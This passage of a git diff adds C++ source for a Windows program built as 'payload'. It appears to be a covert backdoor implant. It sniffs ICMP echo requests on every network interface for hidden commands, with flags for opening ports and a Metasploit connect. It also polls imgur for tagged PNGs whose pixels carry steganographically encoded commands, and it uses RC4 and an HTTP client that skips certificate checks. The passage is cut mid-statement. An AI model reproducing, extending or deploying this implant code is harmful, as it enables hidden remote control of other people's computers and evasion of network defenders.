std::swap(ctx->s[i], ctx->s[j]); + } +} + +void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len) +{ + unsigned x = 0, y = 0; + for (unsigned i = 0; i < len; i++) + { + x = (x + 1) % 256; + y = (y + ctx->s[x]) % 256; + std::swap(ctx->s[x], ctx->s[y]); + buff[i] ^= ctx->s[(ctx->s[x] + ctx->s[y]) % 256]; + } +} diff --git a/src/shared/rc4.h b/src/shared/rc4.h new file mode 100644 index 0000000..063023e --- /dev/null +++ b/src/shared/rc4.h @@ -0,0 +1,32 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +struct rc4_ctx +{ + unsigned char s[256]; +}; + +void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len); +void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len); diff --git a/src/shared/win32.cpp b/src/shared/win32.cpp new file mode 100644 index 0000000..4e07cc6 --- /dev/null +++ b/src/shared/win32.cpp @@ -0,0 +1,32 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "win32.h" + + +stl::string GetFolderPath(unsigned id) +{ + char path[MAX_PATH]{}; + SHGetFolderPathA(nullptr, id, nullptr, SHGFP_TYPE_DEFAULT, path); + return path; +} diff --git a/src/shared/win32.h b/src/shared/win32.h new file mode 100644 index 0000000..d8b7143 --- /dev/null +++ b/src/shared/win32.h @@ -0,0 +1,29 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include +#include + +stl::string GetFolderPath(unsigned id); diff --git a/src/shared/winhttp.cpp b/src/shared/winhttp.cpp new file mode 100644 index 0000000..dc7a45f --- /dev/null +++ b/src/shared/winhttp.cpp @@ -0,0 +1,243 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include +#include "winhttp.h" + + +static stl::vector to_wstring(const stl::string& str) +{ + stl::vector result; + if (auto need = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast(str.size()), nullptr, 0)) + { + result.resize(static_cast(need) + 1, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, str.c_str(), + static_cast(str.size()), result.data(), static_cast(result.size())); + } + return result; +} + +static stl::string from_wstring(const wchar_t* str) +{ + stl::string result; + int len = static_cast(wcslen(str)); + if (auto need = WideCharToMultiByte(CP_UTF8, 0, str, len, nullptr, 0, nullptr, nullptr)) + { + result.resize(static_cast(need) + 1); + WideCharToMultiByte(CP_UTF8, 0, str, len, &result.at(0), static_cast(result.size()), nullptr, nullptr); + } + return result; +} + +HttpRequest::~HttpRequest() +{ + if (internet) + WinHttpCloseHandle(internet); +} + +HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method) +{ + HttpResponse response{}; + stl::vector verb = to_wstring(method.to_upper()); + + if (request.internet == nullptr) + { + request.internet = WinHttpOpen(to_wstring(request.user_agent).data(), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (request.internet == nullptr) + return {}; + + WinHttpSetTimeouts(request.internet, request.resolve_timeout, request.connect_timeout, request.send_timeout, + request.receive_timeout); + } + + stl::vector wHostName(MAX_PATH, 0); + stl::vector wUrlPath(MAX_PATH * 5, 0); + URL_COMPONENTS urlParts{}; + urlParts.dwStructSize = sizeof(urlParts); + urlParts.lpszHostName = wHostName.data(); + urlParts.dwHostNameLength = static_cast(wHostName.size()); + urlParts.lpszUrlPath = wUrlPath.data(); + urlParts.dwUrlPathLength = static_cast(wUrlPath.size()); + urlParts.dwSchemeLength = 1; // None zero + + auto wUrl = to_wstring(url); + if (!WinHttpCrackUrl(wUrl.data(), (DWORD) wUrl.size(), 0, &urlParts)) + return {}; + + HINTERNET hConnect = WinHttpConnect(request.internet, wHostName.data(), urlParts.nPort, 0); + if (!hConnect) + return {}; + + struct AutoCloseWinHttpHandle + { + HINTERNET handle; + ~AutoCloseWinHttpHandle() + { + WinHttpCloseHandle(handle); + } + } autoCloseHConnect{hConnect}; + + HINTERNET hRequest = WinHttpOpenRequest(hConnect, verb.data(), urlParts.lpszUrlPath, nullptr, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, (urlParts.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0); + + if (!hRequest) + return {}; + + AutoCloseWinHttpHandle autoCloseHRequest{hRequest}; + + // If HTTPS, then client is very susceptable to invalid certificates + // Easiest to accept anything for now + if (urlParts.nScheme == INTERNET_SCHEME_HTTPS && !(request.flags & NoValidateSSL)) + { + DWORD option = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, (LPVOID)&option, sizeof(DWORD)); + } + + // keep-alive + { + DWORD option = WINHTTP_DISABLE_KEEP_ALIVE; + WinHttpSetOption(hRequest, (request.flags & KeepAlive) ? + WINHTTP_OPTION_ENABLE_FEATURE : WINHTTP_OPTION_DISABLE_FEATURE, (LPVOID)&option, sizeof(option)); + } + + if (!request.headers.empty()) + { + stl::string all_headers; + for (auto& header : request.headers) + { + all_headers += header.first; + all_headers += ": "; + all_headers += header.second; + all_headers += "\r\n"; + } + assert(all_headers.size() > 2); + all_headers = all_headers.substring(0, static_cast(all_headers.size() - 2)); + + auto wHeaders = to_wstring(all_headers); + if (!WinHttpAddRequestHeaders(hRequest, wHeaders.data(), (DWORD) wHeaders.size(), + WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON)) + return {}; + } + + if (request.flags & NoRedirect) + { + auto flag = WINHTTP_DISABLE_REDIRECTS; + if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_DISABLE_FEATURE, &flag, sizeof(flag))) + return {}; + } + + // Retry for several times if fails. + if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, request.content.data(), request.content.size(), request.content.size(), 0)) + return {}; + + if (!WinHttpReceiveResponse(hRequest, nullptr)) + return {}; + + DWORD size = 0; + WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, nullptr, &size, nullptr); + + stl::vector responseHeaders(size + 1, 0); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, responseHeaders.data(), &size, nullptr)) + { + stl::string response_headers = from_wstring(responseHeaders.data()); + + for (unsigned pos = response_headers.find("\r\n", 0) + 2; pos < response_headers.size();) + { + unsigned name_start = pos; + unsigned name_end = response_headers.find(": ", name_start); + if (name_end == stl::string::npos) + break; + unsigned content_start = name_end + 2; + unsigned content_end = response_headers.find("\r\n", content_start); + if (content_end == stl::string::npos) + content_end = static_cast(response_headers.size()); + + response.headers.insert({ + stl::string(response_headers.c_str() + name_start, name_end - name_start), + stl::string(response_headers.c_str() + content_start, content_end - content_start) + }); + pos = content_end + 2; + } + } + + size = sizeof(response.status); + WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, nullptr, &response.status, &size, nullptr); + + response.content = ""; + stl::vector buffer; + do + { + size = 0; + if (WinHttpQueryDataAvailable(hRequest, &size)) + { + buffer.resize(size, 0); + { + DWORD read = 0; + if (WinHttpReadData(hRequest, buffer.data(), size, &read)) + { + response.content.reserve(response.content.size() + read); + for (unsigned char c : buffer) + response.content.push_back(c); + } + } + } + else + return {}; + } while (size > 0); + + //Content-Length + + auto it = response.headers.find("Content-Encoding"); + if (it != response.headers.end() && (*it).second == "gzip") + { + stl::string buf; + auto size = response.content.size() * 10; + for (int i = 0; i < 3; i++) + { + buf.resize(size); + + mini_gzip gz{ }; + mini_gz_init(&gz); + mini_gz_start(&gz, (void*) response.content.c_str(), response.content.size()); + + int len = mini_gz_unpack(&gz, &buf.at(0), buf.size()); + if (len > 0) + { + response.content = std::move(buf); + response.content.resize(static_cast(len)); + break; + } + else + size *= 2; + } + } + + return response; +} diff --git a/src/shared/winhttp.h b/src/shared/winhttp.h new file mode 100644 index 0000000..8cd7292 --- /dev/null +++ b/src/shared/winhttp.h @@ -0,0 +1,71 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +//s +#pragma once + + +#include +#include +#include +#include + +enum HttpRequestFlags +{ + NoRedirect = 1, + KeepAlive = 2, + NoValidateSSL = 4, +}; + +enum HttpStatus +{ + HttpOk = 200, + HttpUnknownError = ~0U, +}; + +struct HttpRequest +{ + HttpRequest() = default; + ~HttpRequest(); + + HINTERNET internet{}; + stl::unordered_map headers{}; + stl::string user_agent{"HttpClient"}; + stl::vector content; + unsigned resolve_timeout = 10000; + unsigned connect_timeout = 30000; + unsigned send_timeout = 30000; + unsigned receive_timeout = 30000; + unsigned flags = HttpUnknownError; + +private: + HttpRequest(const HttpRequest&) { }; +}; + +struct HttpResponse +{ + unsigned status = ~0U; + stl::unordered_map headers; + stl::string content; +}; + +HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method = "GET"); diff --git a/src/vr/CMakeLists.txt b/src/vr/CMakeLists.txt new file mode 100644 index 0000000..fa99b8d --- /dev/null +++ b/src/vr/CMakeLists.txt @@ -0,0 +1,5 @@ + +file(GLOB_RECURSE SOURCE_FILES *.h *.cpp) +add_executable(payload WIN32 ${SOURCE_FILES}) +target_link_libraries(payload shared tiny-json ws2_32 iphlpapi) +target_link_libraries(payload mingw32 gcc mingwex gcc msvcrt) # CRT diff --git a/src/vr/context.h b/src/vr/context.h new file mode 100644 index 0000000..eaee2ef --- /dev/null +++ b/src/vr/context.h @@ -0,0 +1,33 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +#include +#include + +struct context +{ + time_t payload_last_timestamp = 0; +}; diff --git a/src/vr/icmp.cpp b/src/vr/icmp.cpp new file mode 100644 index 0000000..70b4fcb --- /dev/null +++ b/src/vr/icmp.cpp @@ -0,0 +1,240 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include +#include +#include +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../config.h" +#include "context.h" +#include "icmp.hpp" + +extern bool handle_payload(context& ctx, uint8_t* data, unsigned len); + +SOCKET icmp_make_socket(int af, const sockaddr* addr, int alen) +{ + SOCKET s = socket(af, SOCK_RAW, IPPROTO_ICMP); + + if (s == INVALID_SOCKET) + { + LOG_ERROR("Could not create ICMP socket [%d]", WSAGetLastError()); + return INVALID_SOCKET; + } + + unsigned ttl = 128; + if (setsockopt(s, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl)) == SOCKET_ERROR) + { + LOG_ERROR("TTL setsockopt failed [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + if (bind(s, addr, alen) == SOCKET_ERROR) + { + LOG_ERROR("bind failed with error [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + unsigned optval = 1; + DWORD bytesReturned; + if (WSAIoctl(s, SIO_RCVALL, &optval, sizeof(optval), nullptr, 0, &bytesReturned, nullptr, nullptr) == SOCKET_ERROR) + { + LOG_ERROR("WSAIotcl() failed with error code [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + optval = 0; + if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&optval, sizeof(optval)) == SOCKET_ERROR) + { + LOG_ERROR("Failed to remove IP header. Error code: [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + u_long nonblock = 1; + if (ioctlsocket(s, FIONBIO, &nonblock) == SOCKET_ERROR) + { + LOG_ERROR("Could not set ICMP socket as non blocking [%d]", WSAGetLastError()); + closesocket(s); + return INVALID_SOCKET; + } + + return s; +} + +void icmp_scan_interfaces(stl::unordered_map& icmp_sockets) +{ + unsigned af_type[] = {AF_INET, AF_INET6}; + stl::string address; + stl::vector buf; + for (unsigned af : af_type) + { + ULONG bufSize = 0; + GetAdaptersAddresses(af, 0, nullptr, nullptr, &bufSize); + buf.resize(bufSize, 0); + if(GetAdaptersAddresses(af, 0, nullptr, PIP_ADAPTER_ADDRESSES(buf.data()), &bufSize) != ERROR_SUCCESS) + { + LOG_ERROR("Could not get adapter addresses"); + break; + } + auto current = PIP_ADAPTER_ADDRESSES(buf.data()); + while (current) + { + SOCKET_ADDRESS* addr = ¤t->FirstUnicastAddress->Address; + + if (af == AF_INET) + { + auto* ip4 = reinterpret_cast(addr->lpSockaddr); + address = inet_ntoa(ip4->sin_addr); + } + else if (af == AF_INET6) + { + current = current->Next; + continue; // TODO + } + else + assert(false); + + auto it = icmp_sockets.find(address); + if (it == icmp_sockets.end() || it->second == INVALID_SOCKET) + { + SOCKET s = icmp_make_socket(addr->lpSockaddr->sa_family, addr->lpSockaddr, addr->iSockaddrLength); + if (s != INVALID_SOCKET) + { + icmp_sockets[address] = s; + LOG_DEBUG("Monitor ICMP on %s", address.c_str()); + } + } + current = current->Next; + } + } +} + +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wmissing-noreturn" +void icmp_thread(context& ctx) +{ + stl::unordered_map icmp_sockets{}; + + static uint8_t packet_buffer[0x10000]{}; + + unsigned last_interfaces_scan = GetTickCount(); + icmp_scan_interfaces(icmp_sockets); + + while (coroutine_loop::current_loop->is_active()) + { + // Rescan interfaces once a day if any sockets are active or once a hour if none are active. + if ((GetTickCount() - last_interfaces_scan) >= icmp_sockets.empty() ? 1_hour : 24_hour) + { + icmp_scan_interfaces(icmp_sockets); + last_interfaces_scan = GetTickCount(); + } + + fd_set fds; + FD_ZERO(&fds); + + for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) + FD_SET(it->second, &fds); + + if (!fds.fd_count) + { + yield(30_sec); + continue; + } + + timeval tv{}; + tv.tv_usec = 100; + int n = select(0, &fds, nullptr, nullptr, &tv); + if (n == SOCKET_ERROR) + { + LOG_ERROR("ICMP Socket error [%d]", WSAGetLastError()); + yield(30_sec); + continue; + } + else if (n) + { + for (uint32_t i = 0; i < fds.fd_count; i++) + { + SOCKET s = fds.fd_array[i]; + sockaddr from{}; + sockaddr to{}; + int to_size = sizeof(to); + getsockname(s, &to, &to_size); + int from_len = sizeof(from); + int len = recvfrom(s, (char*)packet_buffer, sizeof(packet_buffer), 0, (sockaddr*)&from, &from_len); + + // auto* from_in4 = reinterpret_cast(&from); + auto* to_in4 = reinterpret_cast(&to); + if (len > 0) + { + if (from.sa_family == AF_INET && to.sa_family == AF_INET) + { + iphdr& ip = *(iphdr*)packet_buffer; + icmphdr& icmp = *(icmphdr*)(PBYTE(packet_buffer) + ip.ihl * 4); + if (icmp.type != ICMP_ECHO_REQUEST) + continue; + + if (ip.daddr != to_in4->sin_addr.S_un.S_addr) + { + in_addr daddr{}; + daddr.S_un.S_addr = ip.daddr; + LOG_DEBUG("ICMP discarded because it was meant for other machine %s and we listen on %s", + inet_ntoa(daddr), inet_ntoa(to_in4->sin_addr)); + continue; + } + + uint32_t icmp_len = len - ip.ihl * 4U; + uint32_t datalen = (icmp_len - ICMP_MIN); + uint8_t* data = (uint8_t*)(&icmp) + ICMP_MIN; + + handle_payload(ctx, data, datalen); + } + } + else if (len == SOCKET_ERROR) + { + LOG_WARNING("recvfrom error [%d]", WSAGetLastError()); + for (auto it = icmp_sockets.begin(); it != icmp_sockets.end(); ++it) + { + if (it->second == s) + { + icmp_sockets.erase(it); + break; + } + } + closesocket(s); + } + } + } + + yield(1_sec); + } +} +#pragma clang diagnostic pop diff --git a/src/vr/icmp.hpp b/src/vr/icmp.hpp new file mode 100644 index 0000000..d9afd1b --- /dev/null +++ b/src/vr/icmp.hpp @@ -0,0 +1,99 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +#include + +// ICMP packet types +#define ICMP_ECHO_REPLY 0 +#define ICMP_DEST_UNREACH 3 +#define ICMP_TTL_EXPIRE 11 +#define ICMP_ECHO_REQUEST 8 + +// Minimum ICMP packet size, in bytes +#define ICMP_MIN 8 + +enum IcmpFlags +{ + ICMP_PORT_OPEN = 1, + ICMP_PORT_CLOSE = 2, + ICMP_MSF_CONNECT = 4, + ICMP_FLAGS_MAX +}; + +#pragma pack(1) + +#ifdef _WIN32 +// The IP header +struct iphdr + { + uint8_t ihl : 4; // Length of the header in dwords + uint8_t version : 4; // Version of IP + uint8_t tos; // Type of service + uint16_t tot_len; // Length of the packet in dwords + uint16_t id; // unique identifier + uint16_t frag_off; // Flags + uint8_t ttl; // Time to live + uint8_t protocol; // Protocol number (TCP, UDP etc) + uint16_t check; // IP checksum + uint32_t saddr; + uint32_t daddr; +}; + +// ICMP header +struct icmphdr { + uint8_t type; // ICMP packet type + uint8_t code; // Type sub code + uint16_t checksum; + uint16_t id; + uint16_t seq; +}; +#else +#include +#include +#endif + +#pragma pack() + +static uint16_t icmp_checksum(uint16_t* buffer, int size) +{ + unsigned long cksum = 0; + + // Sum all the words together, adding the final byte if size is odd + while (size > 1) { + cksum += *buffer++; + size -= sizeof(uint16_t); + } + if (size) { + cksum += *(uint16_t*)buffer; + } + + // Do a little shuffling + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + + // Return the bitwise complement of the resulting mishmash + return (uint16_t)(~cksum); +} diff --git a/src/vr/imgur.cpp b/src/vr/imgur.cpp new file mode 100644 index 0000000..96b8b9e --- /dev/null +++ b/src/vr/imgur.cpp @@ -0,0 +1,155 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include "../shared/winhttp.h" +#include "../shared/coroutine.h" +#include "../shared/debug.h" +#include "../shared/math.h" +#include "../config.h" +#include "context.h" + + +extern bool handle_payload(context& ctx, uint8_t* data, unsigned len); + +bool png_has_enough_pixels(size_t pixel_bytes_count, unsigned need_bytes) +{ + return need_bytes * 4 < pixel_bytes_count; +} + +uint8_t decode_bits(stl::vector::const_iterator& it) +{ + return *it++ & 3; +} + +uint8_t decode_byte(stl::vector::const_iterator& it) +{ + return decode_bits(it) | decode_bits(it) << 2 | decode_bits(it) << 4 | decode_bits(it) << 6; +} + +uint16_t decode_short(stl::vector::const_iterator& it) +{ + return decode_byte(it) | decode_byte(it) << 8; +} + +bool imgur_process_png(context& ctx, const uint8_t* data, unsigned len) +{ + stl::vector pixels; + unsigned long w, h; + if (decodePNG(pixels, w, h, data, len, false) == 0) + { + if (png_has_enough_pixels(pixels.size(), 2)) + { + stl::vector::const_iterator it = pixels.begin(); + uint16_t payload_len = ntohs(decode_short(it)); + if (png_has_enough_pixels(pixels.size(), 2 + payload_len)) + { + stl::vector payload(payload_len, 0); + for (auto j = 0; j < payload_len; j++) + payload[j] = decode_byte(it); + + return handle_payload(ctx, payload.data(), payload_len); + } + } + } + return false; +} + +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wmissing-noreturn" +void imgur_thread(context& ctx) +{ + stl::string client_id = vr_imgur_client_id; + + time_t http_last_timestamp = time(nullptr); + stl::vector pool(10000); + + for (;;) + { + HttpRequest req{}; + HttpResponse response = send_http_request(req, stl::string() + "https://api.imgur.com/3/gallery/t/" + vr_imgur_tag + "/time/week/0?client_id=" + client_id); + if (response.status == HttpOk) + { + stl::vector response_data(response.content.c_str(), response.content.c_str() + response.content.size() + 1); + + const json_t* j_root = json_create(response_data.data(), pool.data(), pool.size()); + if (j_root == nullptr) + { + LOG_ERROR("imgur api root is null. Malformed response or pool too small"); + break; + } + + const json_t* j_success = json_getProperty(j_root, "success"); + if (j_success == nullptr || j_success->type != JSON_BOOLEAN || !json_getBoolean(j_success)) + { + LOG_ERROR("imgur api request failed"); + break; + } + + const json_t* j_data = json_getProperty(j_root, "data"); + if (!j_data || j_data->type != JSON_OBJ) + { + LOG_ERROR("imgur api request did not return 'data'"); + break; + } + + const json_t* j_items = json_getProperty(j_data, "items"); + if (!j_items || j_items->type != JSON_ARRAY) + { + LOG_ERROR("imgur api request did not return 'items'"); + break; + } + + for (const json_t* j_img = json_getChild(j_items); j_img != nullptr; j_img = json_getSibling(j_img)) + { + const json_t* j_datetime = json_getProperty(j_img, "datetime"); + const json_t* j_cover = json_getProperty(j_img, "cover"); + if (j_datetime && j_datetime->type == JSON_INTEGER && j_cover && j_cover->type == JSON_TEXT) + { + auto timestamp = json_getInteger(j_datetime); + if (timestamp <= http_last_timestamp) + break; + + auto url = "https://i.imgur.com/" + stl::string(json_getValue(j_cover)) + ".png"; + LOG_DEBUG("Querying %s", url.c_str()); + response = 